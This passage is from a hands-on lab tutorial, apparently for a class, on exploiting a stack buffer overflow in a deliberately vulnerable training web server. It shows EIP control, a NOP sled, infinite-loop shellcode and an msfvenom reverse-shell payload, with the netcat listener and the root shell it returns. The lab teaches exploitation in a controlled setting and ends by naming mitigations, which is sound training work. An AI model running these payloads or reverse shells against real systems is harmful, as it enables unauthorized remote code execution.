



It's no longer complaining about the address, instead it's complaining about an illegal instruction. This means that the address we placed into EIP is valid memory! In fact, looking at EIP in the debugger we see that EIP is pointing on the stack, beyond our buffer. Also, if you scroll up in the disassembly window, you'll see that the illegal instruction was actually encountered *after* the processor happily executed our buffer of A's, which happen to be valid x86 instructions:

bfff:d40c	41	inc ecx	EAX: 00000010
bfff:d40d	41	inc ecx	ECX: b7e8b2c3
bfff:d40e	41	inc ecx	EDX: 00000000
bfff:d40f	0c d3	or al, 0xd3	EBP: 41414141
→ bfff:d411	ff bf	dw 0xbfff	ESP: bfffd2f0
bfff:d413	00 00	add byte ptr [eax], al	ESI: b7fb3000
bfff:d415	00 00	add byte ptr [eax], al	EDI: 41414141
bfff:d417	00 00	add byte ptr [eax], al	EIP: bfffd411 <[stack]>
			EFLAGS: 00010282

Let's verify that we are jumping execution to the correct place in our buffer, by replacing our A's with `\xcc`; this single-byte instruction is a debugger "trap", meaning Evan's Debugger will pause execution as soon as it tries to execute the bytes:

```

BUFFERSIZE = 259
SHELLCODE  = '\xcc'*259
PADDING    = '\x90'*(BUFFERSIZE - len(SHELLCODE))
SAVED_EIP  = 0xbfffd30c

```

Send the new request. Note that Evan's Debugger pauses, and the disassembly window is filled with our `\xcc` ("int3") trap instructions! We can now single step all the way down to where the illegal instruction was encountered using *Debug > Step Over*, if we so desire.

Step 2: Infinite loop shellcode

We now have a feel for how to set up our request header in order to place code on the stack, and execute that code. We learned in the previous step that we have 259 bytes of buffer in which to place our shellcode, and we can put any valid x86 instructions in that buffer, with one exception: the shellcode cannot contain `\x00`. In C, `\x00` denotes the end of a string, so including that character would cause the parser to terminate early, and break the conditions for the buffer overflow.

The last payload we sent was a buffer filled with *trap* instructions. Let's try sending a different single-byte instruction, the "NOP" or no-operation instruction, followed by a single trap (note that the `shellcode_template.py` script automatically fills the buffer with NOPs if the shellcode is too short):

```

BUFFERSIZE = 259
SHELLCODE  = '\xcc'
PADDING     = '\x90'*(BUFFERSIZE - len(SHELLCODE))
SAVED_EIP   = 0xbfffd30c

```

This technique is called “prepending a NOP sled”. It allows the attacker to be less precise with the address placed into EIP, because if the processor starts executing anywhere in the NOP sled, it will continue executing until it gets to the shellcode.

Verify that the NOP sled causes the process to execute until it reaches the single debug trap, which breaks right before the illegal instruction.

Now, let’s replace the `\xcc` instruction with an infinite loop:

```

BUFFERSIZE = 259
SHELLCODE  = '\xeb\xfe'
PADDING     = '\x90'*(BUFFERSIZE - len(SHELLCODE))
SAVED_EIP   = 0xbfffd30c

```

This time, if you're feeling confident, you don't have to attach Evan's Debugger to the AngrySpider server. Instead, just run the webserver on the command line, and then send the request.

Notice that the webserver didn't crash, and the request never came back... How do you know your shellcode is executing?

Try running the `top` command:

```

top - 17:00:06 up 1:40, 1 user, load average: 0.61, 0.17, 0.06
Tasks: 176 total, 2 running, 174 sleeping, 0 stopped, 0 zombie
%Cpu(s): 25.6 us, 0.2 sy, 0.0 ni, 74.3 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st
KiB Mem : 2068644 total, 1023620 free, 368920 used, 676104 buff/cache
KiB Swap: 2095100 total, 2095100 free, 0 used. 1454148 avail Mem

```

PID	USER	PR	NI	VIRT	RES	SHR	S	%CPU	%MEM	TIME+	COMMAND
2225	root	20	0	2208	556	512	R	100.0	0.0	0:38.68	angryspider
1036	root	20	0	784028	161592	67996	S	2.0	7.8	1:04.47	gnome-shell
934	root	20	0	161968	38408	26884	S	0.3	1.9	0:45.19	Xorg
1325	root	20	0	133132	36156	26002	S	0.3	1.7	0:18.86	gnome-term

Notice that the CPU usage has spiked to 100% for AngrySpider – this means the infinite loop shellcode is running! If you attach the debugger at this point, you'll notice that the currently executing instruction is `eb fe`, a `jmp` to itself.

So to recap: we created a buffer of "no-operation" (NOP) instructions, appended an infinite loop, and then overwrote the saved EIP address on the stack with the address to our NOP sled. When the current function returned, the saved EIP value on the stack was moved into EIP, and the processor began happily executing there!

Step 3: Reverse shell

While potentially useful for denial of service, this infinite loop shellcode is really just a proof of concept. We can turn this bug into a reverse shell, for a full demonstration of remote code execution.

Shellcode was manual and tedious to write back in the day, and involved walking in the snow, uphill, both ways. However, tools like Metasploit have made shellcode generation almost trivial! Let's use Metasploit to generate a reverse shell payload.

In a Terminal, run the following command:

```
$ msfvenom -a x86 --platform linux \
  -p linux/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=31337 \
  -b '\x00\x0d\x0a' -f raw -o shellcode.dat
```

...

Payload size: 95 bytes

Saved as: shellcode.dat

This one-liner generates shellcode that spawns /bin/sh and connects back to 127.0.0.1:31337! It is also careful to avoid three bytes: \r, \n, and \x00, which are special characters in HTTP headers and in C-strings.

Now modify the request script:

```
BUFFER_SIZE = 259
SHELLCODE = open('shellcode.dat', 'rb').read()
PADDING = '\x90'*(BUFFER_SIZE - len(SHELLCODE))
SAVED_EIP = 0xbfffd30c
```

In order to catch the reverse-shell callback, start a netcat listener in a new terminal:

```
$ nc -nvlp 31337
```

Make sure you have started the webserver, and finally, send the request:

```
$ python shellcode_template.py http://127.0.0.1:8080
```

You should see a connection in the netcat terminal, and should be able to send commands!

```
root@kali:~/AngrySpider# nc -nvlp 31337
listening on [any] 31337 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 44804
id
uid=0(root) gid=0(root) groups=0(root)
```

Bonus

If you're confident in your exploitation skills, find the three flags (HINT: there are three, only one requires remote code execution) located on the instructor's AngrySpider server. Raise your hand and we'll give you the IP!

Double-Bonus

If you have a ton more time, download the Binary Ninja demo and reverse engineer the function where the crash occurs.

Hint: The address displayed in EIP when we first observed the crash in the debugger (Lab 2) corresponds to the address you would see in Binary Ninja.

Conclusion

Even in this example, writing an exploit that leverages a buffer-overflow bug is not trivial. It involves some knowledge of the internal state of the program, and modern operating systems and mitigations for these types of exploits can quickly require much more complex shellcode.

Mitigations that exist in modern operating systems that would thwart this specific example are:

- Prevention of data execution on the stack
- Randomization of process memory addresses